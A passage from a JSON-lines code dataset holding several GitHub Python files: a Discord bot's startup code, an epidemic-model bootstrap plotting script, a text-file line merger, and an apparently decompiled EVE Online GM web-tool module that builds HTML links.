Database('DATA/bot.db')\n\nTOKEN = open('DATA/TOKEN.txt', 'r').readline().strip()\n\n@bot.event\nasync def on_ready():\n print('Logged in as')\n print(bot.user.name)\n print('------')\n\n bot.channels_words = await get_channels_words()\n\nasync def get_channels_words():\n words = await bot.db.fetchall('words', ['g_id', 'chn_id', 'word'])\n if words is None:\n return dict()\n\n channels_words = dict()\n for word in words:\n g_id = str(word[0])\n chn_id = str(word[1])\n\n if g_id not in channels_words:\n channels_words[g_id] = dict()\n\n if chn_id not in channels_words[g_id]:\n channels_words[g_id][chn_id] = list()\n\n channels_words[g_id][chn_id].append(word[2])\n\n return channels_words\n\n\n\nfor cog in os.listdir(\"./cogs\"):\n if cog.endswith(\".py\") and not cog.startswith(\"_\"):\n try:\n cog = f\"cogs.{cog.replace('.py', '')}\"\n bot.load_extension(cog)\n except Exception as e:\n print(f\"{cog} can not be loaded:\")\n raise e\n\nbot.run(TOKEN)\n","repo_name":"ahmedGamalhamed/re","sub_path":"Keyword_Bot/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"15953887565","text":"import numpy as np \nimport matplotlib as mpl \nfrom matplotlib import pyplot as plt\nfrom matplotlib import dates as mdates\nimport pandas as pd\nimport seaborn as sns\nimport datetime as dt\nimport pickle \nfrom scipy.integrate import odeint\nimport sys\nimport matplotlib.transforms as mtransforms\nfrom numpy.random import poisson\nimport fitSEIRTC\nimport h5py\nfrom pathlib import Path\nsys.path.append('../')\nimport compartmental\n\ncolorpalette = sns.color_palette('colorblind', n_colors=5)\n\naustria_data = pd.read_csv(\"../austria_data.csv\")\ndata = austria_data.loc[(austria_data['date'] >= '2020-09-01') & \n (austria_data['date'] <= '2020-12-06')]\n\ndays = [dt.datetime.strptime(date, '%Y-%m-%d').date() \n for date in data['date'].to_numpy()]\n\ndatafit = austria_data.loc[(austria_data['date'] >= '2020-09-01') & \n (austria_data['date'] < '2020-11-03')]\n\ndaysfit = [dt.datetime.strptime(date, '%Y-%m-%d').date() \n for date in datafit['date'].to_numpy()]\n\nsimulation_days = np.arange(0, len(daysfit))\n\nSEIRTC = pickle.load(open(\"../model_SEIRTC.p\", \"rb\"))\n\ninit_pop_SEIRTC = pickle.load(open(\"../initial_population_SEIRTC.p\", \"rb\"))\nparameters_SEIRTC = pickle.load(open(\"../parameters_SEIRTC.p\", \"rb\"))\n\nSEIRTC.set_parameters(list(parameters_SEIRTC))\n\n_, _, ode_SEIRTC = SEIRTC.generate_ode()\n\ndatapath = Path(\"bootstrap.hdf5\")\ndatafile = h5py.File(datapath, 'r')\nnum_bootstrap = 10 # datafile['meta']['n_bootstrap'][()]\ndatafile.close()\n\nfig, axes = plt.subplots(nrows = 1, ncols = 4, figsize=(12, 3))\nlabels = ['A', 'B', 'C', 'D']\n\nfor label, ax in zip(labels, axes):\n\n trans = mtransforms.ScaledTranslation(-20/72, 7/72, fig.dpi_scale_trans)\n ax.text(0.0, 1.0, label+'.', transform=ax.transAxes + trans,\n fontsize='xx-large', va='bottom')\n\n# original solution\nsolution_SEIRTC = odeint(\n ode_SEIRTC,\n np.array(list(init_pop_SEIRTC.values())),\n simulation_days,\n args = (list(parameters_SEIRTC.values()),)\n )\n\nresults_SEIRTC = fitSEIRTC.results(solution_SEIRTC, SEIRTC)\ncases = results_SEIRTC['cases']\ntests = results_SEIRTC['tests']\n\nnp.random.seed(1)\n\nbootstrap_cases = np.zeros(cases.shape)\nbootstrap_tests = np.zeros(tests.shape)\n\nfor day, n_case in enumerate(cases):\n bootstrap_cases[day] = poisson(n_case)\n\nfor day, n_test in enumerate(tests):\n bootstrap_tests[day] = poisson(n_test)\n\naxes[0].plot(cases, color=colorpalette[0], lw=2.0, label='best-fit SEIRTC')\naxes[0].plot(\n bootstrap_cases, color='black', lw=1.0, label='Poisson bootstrap'\n )\n\naxes[1].plot(tests, color=colorpalette[3], lw=2.0, label='best-fit SEIRTC')\naxes[1].plot(\n bootstrap_tests, color='black', lw=1.0, label='Poisson bootstrap'\n )\n\n# Bootstraps \n\ninit_pop = init_pop_SEIRTC.copy()\npars = parameters_SEIRTC.copy()\n\nfor n in range(1, num_bootstrap + 1):\n datafile = h5py.File(datapath, 'r')\n\n for key in datafile[f'{n}']['init_pop'].keys():\n init_pop[key] = datafile[f'{n}']['init_pop'][key][()]\n\n for key in datafile[f'{n}']['pars'].keys():\n pars[key] = datafile[f'{n}']['pars'][key][()]\n\n datafile.close()\n\n sol = odeint(\n ode_SEIRTC,\n np.array(list(init_pop.values())),\n simulation_days,\n args = (list(pars.values()),)\n )\n\n results = fitSEIRTC.results(sol, SEIRTC)\n cases = results['cases']\n tests = results['tests'] \n axes[2].plot(cases, color=colorpalette[0], alpha=0.2)\n axes[3].plot(tests, color=colorpalette[3], alpha=0.2)\n\n# axes[1].set_yscale('log')\n# axes[1].set_yscale('log')\n\nfor ax in axes:\n ax.set_xlim(0, 20)\n\nfor i in [0, 2]:\n axes[i].set_ylim(350, 800)\n axes[i].set_ylabel(\"Cases\")\n\nfor i in [1, 3]:\n axes[i].set_ylim(9000, 18000)\n axes[i].set_ylabel(\"Tests\")\n\naxes[0].legend()\naxes[1].legend()\n\nplt.tight_layout()\nfig.savefig(\"bootstrap.png\", dpi=150)\n\nplt.show()\n","repo_name":"burakbudanur/autoacc-public","sub_path":"python/bootstrap/plot_bootstrap.py","file_name":"plot_bootstrap.py","file_ext":"py","file_size_in_byte":3871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"28406080582","text":"import re\n\nmylines = [] # Declare an empty list named mylines.\nmylines2 = [] # Declare an empty list named mylines2.\n\n\n\n# with open ('Language2.txt', 'rt', encoding=\"utf16\") as myfile: # Open lorem.txt for reading\n# for txtline in myfile: # For each line, stored as myline,\n#\n#\n# regex = re.compile('=')\n# if (regex.search(txtline) == None):\n# new_line = txtline\n# mylines.append(new_line)\n# else:\n# old_line = txtline\n# new_line = old_line.split(\"=\", 1)[1]\n# mylines.append(new_line) # add its contents to mylines.\n#\n#\nwith open('Language2.txt', 'rt', encoding=\"utf16\") as myfile2: # Open lorem.txt for reading\n for txtline2 in myfile2: # For each line, stored as myline,\n\n regex = re.compile('=')\n if (regex.search(txtline2) == None):\n new_line2 = txtline2\n mylines2.append(new_line2)\n else:\n old_line2 = txtline2\n new_line2 = old_line2.split('=')[0]+'='\n mylines2.append(new_line2 + '\\n') # add its contents to mylines.\n\n#\n# with open('Language3.txt', 'w', encoding=\"utf16\") as f:\n# for line in mylines:\n# if line == \"\":\n# f.write(\"\\n\")\n# else:\n# f.write(line)\n#\nwith open('Language4.txt', 'w', encoding=\"utf16\") as f:\n for line2 in mylines2:\n if line2 == \"\":\n f.write(\"\\n\")\n else:\n f.write(line2)\n\n\n\ncombine =[]\n\nwith open(\"language3.txt\", encoding=\"utf16\") as language3lines:\n with open('language4.txt', encoding=\"utf16\") as language4lines:\n with open(\"combined.txt\", \"w\", encoding=\"utf16\") as combinedlines:\n #Read first file\n xlines = language3lines.readlines()\n #Read second file\n ylines = language4lines.readlines()\n #Combine content of both lists\n #combine = list(zip(ylines,xlines))\n #Write to third file\n for i in range(len(xlines)):\n line = ylines[i].strip() + xlines[i]\n combinedlines.write(line)","repo_name":"Patryk-Rak/text-replacer","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2025,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33639311573","text":"#Embedded file name: c:/depot/games/branches/release/EVE-TRANQUILITY/eve/common/script/util/espwriters.py\nimport htmlwriter\nimport util\nimport re\nimport blue\nimport sys\nimport macho\nimport notificationUtil\nimport time\nimport os\nimport localization\ntry:\n import logConst\nexcept:\n logConst = util.KeyVal()\n\nfrom service import ROLEMASK_VIEW, ROLE_ADMIN, ROLE_CONTENT, ROLE_GML, ROLE_GMH, ROLE_PROGRAMMER, ROLE_PETITIONEE\n\nclass ESPHtmlWriter(htmlwriter.SPHtmlWriter):\n __guid__ = 'htmlwriter.ESPHtmlWriter'\n\n def SelectCharacter(self):\n if session.charid is None:\n urlparameters = ''\n for q in self.request.query.iteritems():\n if q[0] is not '':\n urlparameters += '%s=%s&' % q\n\n session.redirecturl = self.request.path + '?' + urlparameters\n self.response.Redirect('/gm/character.py?action=MyCharacters&')\n\n def AppBottomLeft(self):\n s = htmlwriter.SPHtmlWriter.AppBottomLeft(self)\n if macho.mode == 'server':\n if session.charid:\n s += ' - Logoff'\n return s\n\n if macho.mode == 'server':\n\n def GetOperationText(self, operationID, isDescription = False):\n if operationID not in self.cache.Index(const.cacheStaOperations):\n return ''\n if isDescription:\n return localization.GetByMessageID(self.cache.Index(const.cacheStaOperations, operationID).descriptionID)\n return localization.GetByMessageID(self.cache.Index(const.cacheStaOperations, operationID).operationNameID)\n\n def GetRoleDescription(self, roleID, isShort = False):\n if roleID not in self.cache.Index(const.cacheCrpRoles):\n return ''\n if isShort:\n return localization.GetByMessageID(self.cache.Index(const.cacheCrpRoles, roleID).shortDescriptionID)\n return localization.GetByMessageID(self.cache.Index(const.cacheCrpRoles, roleID).descriptionID)\n\n def GetCelestialDescription(self, itemID):\n if itemID in self.cache.Index(const.cacheMapCelestialDescriptions):\n return localization.GetByMessageID(self.cache.Index(const.cacheMapCelestialDescriptions, itemID).descriptionID)\n return ''\n\n def GetCorpActivityName(self, activityID):\n if activityID in self.cache.Index(const.cacheCrpActivities):\n return localization.GetByMessageID(self.cache.Index(const.cacheCrpActivities, activityID).activityNameID)\n return ''\n\n def MetaGroupLink(self, metaGroupID, linkText = None, props = ''):\n if metaGroupID is None:\n return ''\n else:\n if linkText is None:\n linkText = cfg.invmetagroups.Get(metaGroupID).metaGroupName\n if linkText is None:\n return self.FontRed('Unknown')\n return self.Link('/gd/type.py', linkText, {'action': 'MetaGroups'}, props)\n\n def OwnerLink(self, ownerID, ownerTypeID = None, linkText = None, props = ''):\n if ownerID is None:\n return ''\n if ownerTypeID is None:\n try:\n owner = cfg.eveowners.Get(ownerID)\n except:\n sys.exc_clear()\n if linkText is None:\n return self.FontRed('???')\n else:\n return linkText\n\n ownerTypeID = owner.typeID\n if not linkText:\n linkText = owner.ownerName\n if linkText is not None:\n linkText = self.HTMLEncode(linkText)\n if ownerTypeID == const.typeFaction:\n return self.FactionLink(ownerID, linkText, props)\n elif ownerTypeID == const.typeCorporation:\n return self.CorporationLink(ownerID, linkText, props)\n elif ownerTypeID == const.typeAlliance:\n return self.AllianceLink(ownerID, linkText, props)\n elif ownerTypeID == const.typeSystem:\n return linkText\n else:\n return self.CharacterLink(ownerID, linkText, props)\n\n def IPAddress(self, ipAddress, ipAddressID = None):\n if not ipAddress and ipAddressID is None:\n return ''\n if ipAddressID:\n ipAddressLink = self.Link('/gm/users.py', ipAddress, {'action': 'IPLogs',\n 'IPID': ipAddressID})\n else:\n ipAddressLink = self.Link('/gm/users.py', ipAddress, {'action': 'IPLogs',\n 'IP': ipAddress})\n if ipAddress:\n evelogsUrl = self.cache.Setting('system', 'evelogsUrl')\n if not evelogsUrl:\n return ipAddressLink\n evelogsUrl = 'http://%s/' % evelogsUrl\n flagLink = self.GetSpan(self.Link('%sIPLookup?ip=%s' % (evelogsUrl, ipAddress), self.Image('%sIPLookup?ip=%s&flag=16' % (evelogsUrl, ipAddress))), className='csp-flag')\n return ipAddressLink + ' ' + flagLink\n\n def LocationLink(self, locationID, linkText = None, props = ''):\n if locationID is None:\n return ''\n if linkText is None:\n if locationID < 70000000 or locationID > 80000000:\n try:\n location = cfg.evelocations.Get(locationID)\n except:\n sys.exc_clear()\n return self.FontRed('???')\n\n linkText = location.locationName\n if linkText is not None:\n linkText = self.HTMLEncode(linkText)\n if locationID < const.minRegion:\n return linkText\n elif locationID < const.minConstellation:\n return self.RegionLink(locationID, linkText, props)\n elif locationID < const.minSolarSystem:\n return self.ConstellationLink(locationID, linkText, props)\n elif locationID < const.minUniverseCelestial:\n return self.SystemLink(locationID, linkText, props)\n elif locationID < const.minStation:\n return linkText\n elif locationID < const.minUniverseAsteroid:\n return self.StationLink(locationID, linkText, props)\n else:\n return linkText\n\n def CharacterLink(self, characterID, linkText = None, props = '', noHover = False):\n if util.IsDustCharacter(characterID):\n return htmlwriter.SPHtmlWriter.CharacterLink(self, characterID, linkText, props)\n if characterID is None:\n return ''\n if linkText is None:\n linkText = self.OwnerName(characterID)\n if linkText is None:\n return self.FontRed('Unknown')\n if linkText is not None:\n linkText = self.HTMLEncode(linkText)\n return self.GetTooltip(href='/gm/character.py?action=Character&characterID=%s' % characterID, ajax='/gm/worker_info.py?action=FetchInfo&id=%s&idType=1' % characterID, title=linkText, caption=linkText)\n\n def CharacterLinkActions(self, characterID, linkText = None, actions = []):\n if characterID is None:\n return ''\n if linkText is None:\n linkText = self.OwnerName(characterID)\n if linkText is None:\n return self.FontRed('Unknown')\n if linkText is not None:\n linkText = self.HTMLEncode(linkText)\n return self.GetTooltipActions(href='/gm/character.py?action=Character&characterID=%s' % characterID, ajax='/gm/worker_info.py?action=FetchInfo&id=%s&idType=1' % characterID, title=linkText, caption=linkText, actions=actions)\n\n def PetitionLink(self, petID, linkText = None, props = ''):\n if petID is None:\n return ''\n else:\n if linkText is None:\n linkText = 'petition'\n if linkText is not None:\n linkText = self.HTMLEncode(linkText)\n return self.Link('/gm/petitionClient.py', linkText, {'action': 'ViewPetition',\n 'petitionID': petID}, props)\n\n def CorporationLink(self, corporationID, linkText = None, props = ''):\n if corporationID is None:\n return ''\n if linkText is None:\n linkText = self.OwnerName(corporationID)\n if linkText is None:\n return self.FontRed('Unknown')\n if linkText is not None:\n linkText = self.HTMLEncode(linkText)\n return self.GetTooltip(href='/gm/corporation.py?action=Corporation&corporationID=%s' % corporationID, ajax='/gm/worker_info.py?action=FetchInfo&id=%s&idType=3' % corporationID, title=linkText, caption=linkText)\n\n def AllianceLink(self, allianceID, linkText = None, props = ''):\n if allianceID is None:\n return ''\n if linkText is None:\n linkText = self.OwnerName(allianceID)\n if linkText is None:\n return self.FontRed('Unknown')\n if linkText is not None:\n linkText = self.HTMLEncode(linkText)\n return self.GetTooltip(href='/gm/alliance.py?action=Alliance&allianceID=%s' % allianceID, ajax='/gm/worker_info.py?action=FetchInfo&id=%s&idType=9' % allianceID, title=linkText, caption=linkText)\n\n def WarableEntityLink(self, ownerID, linkText = None, props = ''):\n if ownerID is None:\n return ''\n else:\n if linkText is None:\n linkText = self.OwnerName(ownerID)\n if linkText is None:\n return self.FontRed('Unknown')\n if linkText is not None:\n linkText = self.HTMLEncode(linkText)\n return self.Link('/gm/war.py', linkText, {'action': 'WarableEntity',\n 'ownerID': ownerID}, props)\n\n def FactionLink(self, factionID, linkText = None, props = ''):\n if factionID is None:\n return ''\n if linkText is None:\n linkText = self.OwnerName(factionID)\n if linkText is None:\n return self.FontRed('Unknown')\n if linkText is not None:\n linkText = self.HTMLEncode(linkText)\n return self.GetTooltip(href='/gm/faction.py?action=Faction&factionID=%s' % factionID, ajax='/gm/worker_info.py?action=FetchInfo&id=%s&idType=8' % factionID, title=linkText, caption=linkText)\n\n def StationLink(self, stationID, linkText = None, props = ''):\n if stationID is None:\n return ''\n if linkText is None:\n linkText = self.LocationName(stationID)\n if linkText is None:\n return self.FontRed('Unknown')\n if linkText is not None:\n linkText = self.HTMLEncode(linkText)\n return self.GetTooltip(href='/gm/stations.py?action=Station&stationID=%s' % stationID, ajax='/gm/worker_info.py?action=FetchInfo&id=%s&idType=7' % stationID, title=linkText, caption=linkText)\n\n def WorldSpaceLink(self, worldSpaceID, linkText = None, props = ''):\n if worldSpaceID is None:\n return ''\n else:\n if linkText is None:\n linkText = self.LocationName(worldSpaceID)\n if linkText is None:\n return self.FontRed('Unknown')\n if linkText is not None:\n linkText = self.HTMLEncode(linkText)\n return self.Link('/gm/worldSpaces.py', linkText, {'action': 'WorldSpace',\n 'worldspaceID': worldSpaceID}, props)\n\n def SystemLink(self, systemID, linkText = None, props = ''):\n if systemID is None:\n return ''\n if linkText is None:\n linkText = self.LocationName(systemID)\n if linkText is None:\n return self.FontRed('Unknown')\n if linkText is not None:\n linkText = self.HTMLEncode(linkText)\n return self.GetTooltip(href='/gd/universe.py?action=System&systemID=%s' % systemID, ajax='/gm/worker_info.py?action=FetchInfo&id=%s&idType=4' % systemID, title=linkText, caption=linkText)\n\n def ConstellationLink(self, constellationID, linkText = None, props = ''):\n if constellationID is None:\n return ''\n if linkText is None:\n linkText = self.LocationName(constellationID)\n if linkText is None:\n return self.FontRed('Unknown')\n if linkText is not None:\n linkText = self.HTMLEncode(linkText)\n return self.GetTooltip(href='/gd/universe.py?action=Constellation&constellationID=%s' % constellationID, ajax='/gm/worker_info.py?action=FetchInfo&id=%s&idType=6' % constellationID, title=linkText, caption=linkText)\n\n def RegionLink(self, regionID, linkText = None, props = ''):\n if regionID is None:\n return ''\n if linkText is None:\n linkText = self.LocationName(regionID)\n if linkText is None:\n return self.FontRed('Unknown')\n if linkText is not None:\n linkText = self.HTMLEncode(linkText)\n return self.GetTooltip(href='/gd/universe.py?action=Region®ionID=%s' % regionID, ajax='/gm/worker_info.py?action=FetchInfo&id=%s&idType=5' % regionID, title=linkText, caption=linkText)\n\n def PlanetLink(self, planetID, linkText = None, props = ''):\n if planetID is None:\n return ''\n if linkText is None:\n linkText = self.LocationName(planetID)\n if linkText is None:\n return self.FontRed('Unknown')\n if linkText is not None:\n linkText = self.HTMLEncode(linkText)\n return self.GetTooltip(href='/gd/universe.py?action=Planet&planetID=%s' % planetID, ajax='/gm/worker_info.py?action=FetchInfo&id=%s&idType=10' % planetID, title=linkText, caption=linkText)\n\n def DistrictLink(self, district, text = None, props = ''):\n if district is None:\n return ''\n if isinstance(district, (int, long)):\n district = self.session.ServiceProxy('districtManager').GetDistrict(district)\n if text is None:\n text = localization.GetImportantByLabel('UI/Locations/LocationDistrictFormatter', solarSystemID=district['solarSystemID'], romanCelestialIndex=util.IntToRoman(district['celestialIndex']), districtIndex=district['index'])\n if text is None:\n return self.FontRed('Unknown')\n if text is not None:\n text = self.HTMLEncode(text)\n return self.Link('/dust/districts.py', text, {'action': 'District',\n 'districtID': district['districtID']}, props)\n\n def BattleLink(self, battle, text = None, props = ''):\n if battle is None:\n return ''\n if isinstance(battle, (int, long)):\n battle = self.session.ServiceProxy('battleManager').GetBattleInfo(battle)\n if not text:\n if battle['battleName']:\n text = battle['battleName']\n elif battle['conflictID'] and battle['conflictID'] > 0:\n text = 'Corporation Battle - %s' % battle['battleID']\n else:\n text = 'Instant Battle - %s' % battle['battleID']\n return self.Link('/dust/battles.py', text, {'action': 'Battle',\n 'battleID': battle['battleID']}, props)\n\n def MapLink(self, itemID, linkText = 'Map', props = ''):\n if linkText is not None:\n linkText = self.HTMLEncode(linkText)\n if itemID is None:\n return ''\n else:\n return self.Link('/gd/universe.py', linkText, {'action': 'Map',\n 'itemID': itemID}, props)\n\n def MissionLink(self, contentID, linkText = None, props = ''):\n if contentID in self.cache.Index(const.cacheAgtContentTemplates):\n r = self.cache.Index(const.cacheAgtContentTemplates, contentID)\n if linkText is None:\n t = r.contentTemplate\n t = t[t.find('_') + 1:]\n linkText = localization.GetByMessageID(r.contentNameID)\n return '%s - %s' % (t, self.Link('/gd/agents.py', linkText, {'action': 'CreateOrEditContent',\n 'contentID': contentID,\n 'contentTemplate': r.contentTemplate,\n 'edit': 0}))\n else:\n return self.FontRed('Mission not found')\n\n def RewardLink(self, rewardID, linkText = None, props = ''):\n if linkText is None:\n row = self.DB2.SQLInt('name', 'reward.rewards', '', '', 'rewardID', rewardID)\n if len(row) == 0:\n return 'Deleted reward'\n linkText = row.name\n if linkText is not None:\n linkText = self.HTMLEncode(linkText)\n return self.Link('/gd/rewards.py', linkText, {'action': 'ViewReward',\n 'rewardID': rewardID}, props)\n\n def PinLink(self, pinID, linkText = None, props = ''):\n pinName = linkText\n if pinName is None:\n pinRow = self.DB2.SQLBigInt('typeID', 'planet.pins', '', '', 'pinID', pinID)\n if len(pinRow) == 0:\n return 'Deleted pin'\n pinName = cfg.invtypes.Get(pinRow[0].typeID).name\n if pinName is not None:\n pinName = self.HTMLEncode(pinName)\n return self.Link('/gm/planets.py', pinName, {'action': 'ViewPin',\n 'pinID': pinID}, props)\n\n def PinTypeLink(self, pinID, linkText = None, props = ''):\n pinRow = self.DB2.SQLBigInt('typeID', 'planet.pins', '', '', 'pinID', pinID)[0]\n pinTypeID = pinRow.typeID\n pinName = linkText\n if pinName is None:\n pinName = cfg.invtypes.Get(pinRow.typeID).name\n if pinName is not None:\n pinName = self.HTMLEncode(pinName)\n return self.TypeLink(pinTypeID, linkText=pinName, props=props)\n\n def SchematicLink(self, schematicID, linkText = None, props = ''):\n schematicName = linkText\n if schematicName is None:\n schematicName = cfg.schematics.Get(schematicID).schematicName\n if schematicName is not None:\n schematicName = self.HTMLEncode(schematicName)\n return self.Link('/gd/schematics.py', schematicName, {'action': 'View',\n 'schematicID': schematicID})\n\n def RecipeLink(self, parentID, parentType, text = None):\n if text is None:\n text = self.HTMLEncode(text)\n if parentType == const.cef.PARENT_TYPEID:\n text = cfg.invtypes.Get(parentID).typeName\n elif parentType == const.cef.PARENT_GROUPID:\n text = cfg.invgroups.Get(parentID).groupName\n else:\n text = cfg.invcategories.Get(parentID).categoryName\n if text is not None:\n text = self.HTMLEncode(text)\n return self.Link('/gd/entities.py', text, {'action': 'Recipe',\n 'parentID': parentID,\n 'parentType': parentType})\n\n def SystemHeader(self, systemID, smallHeader = 1, menuPlacement = 'rMenu'):\n s = self.cache.Row(const.cacheEspSolarSystems, systemID)\n if s.factionID is None:\n image = '/img/system.jpg'\n else:\n image = '/img/faction%s.jpg' % s.factionID\n lines = []\n lines.append([1, 'Constellation', self.ConstellationLink(s.constellationID)])\n lines.append([1, 'Region', self.RegionLink(s.regionID)])\n if smallHeader == 0 and s.combatZoneID:\n combatZoneName = self.cache.IndexText(const.cacheFacWarCombatZones, s.combatZoneID)\n lines.append([0, 'Combat Zone', self.Link('/gd/combatZones.py', combatZoneName, {'action': 'Zone',\n 'zoneID': s.combatZoneID})])\n if s.factionID:\n lines.append([0, 'Faction', self.FactionLink(s.factionID)])\n lines.append([0, 'Security', s.security])\n self.SubjectHeader(smallHeader, 'SYSTEM', systemID, s.solarSystemName, '#FFFF80', image, '/gd/universe.py', 'System', 'systemID', lines)\n li = []\n li.append('#SYSTEM')\n li.append(self.Link('/gd/universe.py', 'INFO', {'action': 'System',\n 'systemID': systemID}))\n li.append('-')\n li.append(self.Link('/gd/universe.py', 'Population and Park Load', {'action': 'PopulationParkLoad',\n 'systemID': systemID}))\n li.append(self.Link('/gd/universe.py', 'Jumps', {'action': 'Jumps',\n 'systemID': systemID}))\n li.append(self.Link('/gd/universe.py', 'Stations', {'action': 'Stations',\n 'systemID': systemID}))\n li.append(self.Link('/gd/universe.py', 'Sovereignty Structures', {'action': 'SovereigntyStructures',\n 'systemID': systemID}))\n li.append(self.Link('/gd/universe.py', 'Starbases', {'action': 'Starbases',\n 'systemID': systemID}))\n li.append(self.Link('/gd/universe.py', 'Celestials', {'action': 'Celestials',\n 'systemID': systemID}) + self.MidDot() + self.Link('/gd/universe.py', 'Moons', {'action': 'Moons',\n 'systemID': systemID}))\n li.append(self.Link('/gd/universe.py', 'Asteroid Belts', {'action': 'AsteroidBelts',\n 'systemID': systemID}) + self.MidDot() + self.Link('/gd/universe.py', 'Asteroids', {'action': 'Asteroids',\n 'systemID': systemID}))\n li.append(self.Link('/gd/universe.py', 'Constellation Map', {'action': 'Map',\n 'itemID': s.constellationID}))\n li.append(self.Link('/gd/universe.py', 'Development Indices', {'action': 'DevelopmentIndices',\n 'systemID': systemID}))\n li.append(self.Link('/gd/universe.py', 'Cargo Links', {'action': 'SystemCargoLinks',\n 'systemID': systemID}))\n li.append(self.Link('/gm/logs.py', 'Events', {'action': 'ItemEvents',\n 'itemID': systemID}))\n li.append(self.Link('/gd/universe.py', 'Factional Warfare', {'action': 'FactionalWarfare',\n 'systemID': systemID}))\n li.append(self.Link('/gm/inventory.py', 'Find Item', {'action': 'FindItem',\n 'locationID': systemID}))\n if session.role & (ROLE_GMH | ROLE_CONTENT | ROLE_ADMIN) > 0:\n li.append(self.Link('/gd/universe.py', 'Free Slots', {'action': 'FreeSlots',\n 'systemID': systemID}))\n if session.role & ROLE_CONTENT > 0:\n li.append(self.Link('/gd/universe.py', 'Product Distributions', {'action': 'ProductDistributions',\n 'systemID': systemID}))\n li.append(self.Link('/info/map.py', 'List Pilots', {'action': 'PilotsInSolarSystem',\n 'solarSystemID': systemID}))\n li.append(self.Link('/info/map.py', 'Map Details', {'action': 'MapDetails',\n 'solarSystemID': systemID}))\n if session.role & ROLE_CONTENT > 0:\n li.append('-')\n editText = self.Link('/gd/universe.py', 'EDIT', {'action': 'SolarSystemEditForm',\n 'solarSystemID': systemID})\n rs = self.DB2.SQLInt('*', 'map.solarSystems', '', '', 'solarSystemID', systemID)\n if len(rs) > 0:\n editText += self.MidDot()\n editText += self.RevisionLink(rs[0])\n li.append(editText)\n li.append('-')\n li.append(self.FontGray('Dungeons and Complexes'))\n li.append('>' + self.Link('/gd/universe.py', 'Dungeons', {'action': 'DungeonList',\n 'systemID': systemID}) + self.MidDot() + self.Link('/gd/universe.py', 'Distributions', {'action': 'DungeonDistributions',\n 'solarSystemID': systemID}))\n li.append('>' + self.Link('/gd/universe.py', 'Spawnpoints', {'action': 'Spawnpoints',\n 'systemID': systemID}) + self.MidDot() + self.Link('/gd/universe.py', 'Agent Spawnpoints', {'action': 'AgentSpawnpoints',\n 'systemID': systemID}))\n li.append('-')\n li.append(self.FontGray('Cluster'))\n li.append('>' + self.Link('/gd/universe.py', 'Go to System Node', {'action': 'GotoNodeFromSolarSystemID',\n 'solarSystemID': systemID}))\n li.append('>' + self.Link('/admin/network.py', 'Node History', {'action': 'AddressDetails',\n 'serviceID': 2,\n 'addressID': systemID}))\n self.SubjectActions(li, menuPlacement)\n return s\n\n def PlanetHeader(self, planetID, smallHeader = 1, menuPlacement = 'rMenu'):\n p = self.DB2.SQLInt('*', 'map.worldDx', '', '', 'itemID', planetID)[0]\n lines = []\n lines.append([1, 'System', self.SystemLink(p.solarSystemID)])\n lines.append([1, 'Constellation', self.ConstellationLink(p.constellationID)])\n lines.append([1, 'Region', self.RegionLink(p.regionID)])\n self.SubjectHeader(smallHeader, 'PLANET', planetID, p.itemName, '#C0C0C0', '/img/celestial.jpg', '/gd/universe.py', 'Planet', 'planetID', lines)\n li = []\n li.append('#PLANET')\n li.append(self.Link('/gd/universe.py', 'INFO', {'action': 'Planet',\n 'planetID': planetID}))\n li.append('-')\n li.append(self.Link('/gd/universe.py', 'Orbit Celestials', {'action': 'OrbitCelestials',\n 'planetID': planetID}))\n li.append(self.Link('/gd/universe.py', 'Customs Offices', {'action': 'CustomsOffices',\n 'planetID': planetID}))\n li.append(self.Link('/gd/universe.py', 'Resource Distributions', {'action': 'ResourceDistributions',\n 'planetID': planetID}))\n li.append('-')\n li.append(self.FontGray('Planetary Interaction'))\n li.append('>' + self.Link('/gm/planets.py', 'Colonies', {'action': 'Colonies',\n 'planetID': planetID}))\n li.append('-')\n li.append(self.FontGray('Cluster'))\n li.append('>' + self.Link('/gm/planets.py', 'Go to Planet Node', {'action': 'GotoNodeForPlanetID',\n 'planetID': planetID,\n 'redirectAction': 'Planet'}))\n li.append('>' + self.Link('/admin/network.py', 'Node History', {'action': 'AddressDetails',\n 'serviceID': 23,\n 'addressID': planetID}))\n self.SubjectActions(li, menuPlacement)\n return p\n\n def ComboRaces(self, allowNone = 0):\n combo = {}\n if allowNone:\n combo[0] = '(none)'\n for r in cfg.races:\n combo[r.raceID] = r.raceName\n\n return combo\n\n def ComboBloodlines(self, allowNone = 0):\n combo = {}\n if allowNone:\n combo[0] = '(none)'\n for b in self.cache.Rowset(const.cacheChrBloodlines):\n r = cfg.races.Get(b.raceID)\n combo[b.bloodlineID] = '%s, %s' % (localization.GetByMessageID(r.raceNameID), localization.GetByMessageID(b.bloodlineNameID))\n\n return combo\n\n def SelectCategory(self, action, categoryID, placement = 'rMenu'):\n categories = []\n for c in cfg.invcategories:\n if c.categoryID > 0:\n bon = ''\n boff = ''\n if c.categoryID == categoryID:\n bon = ''\n boff = ''\n categories.append([c.categoryName, bon + self.Link('', c.categoryName, {'action': action,\n 'categoryID': c.categoryID}) + boff])\n\n categories.sort()\n categories = map(lambda line: line[1:], categories)\n if categoryID is None:\n self.Write(self.WebPart('Categories', self.GetTable([], categories), 'wpCategories'))\n return 0\n else:\n self.WriteDirect(placement, self.WebPart('Categories', self.GetTable([], categories), 'wpCategories'))\n return 1\n\n def SelectCategoryGroup(self, action, categoryID, groupID, placement = 'rMenu', webPart = None):\n if categoryID is None and groupID is not None:\n categoryID = cfg.invgroups.Get(groupID).categoryID\n categories = []\n for c in cfg.invcategories:\n if c.categoryID > 0:\n bon = ''\n boff = ''\n if c.categoryID == categoryID:\n bon = ''\n boff = ''\n categories.append([c.categoryName, bon + self.Link('', c.categoryName, {'action': action,\n 'categoryID': c.categoryID}) + boff])\n\n categories.sort()\n categories = map(lambda line: line[1:], categories)\n if categoryID is None:\n self.Write(self.WebPart('Categories', self.GetTable([], categories), 'wpCategories'))\n return 0\n else:\n groups = []\n for g in cfg.groupsByCategories.get(categoryID, []):\n bon = ''\n boff = ''\n if g.groupID == groupID:\n bon = ''\n boff = ''\n groups.append([g.groupName, bon + self.Link('', g.groupName, {'action': action,\n 'categoryID': categoryID,\n 'groupID': g.groupID}) + boff])\n\n 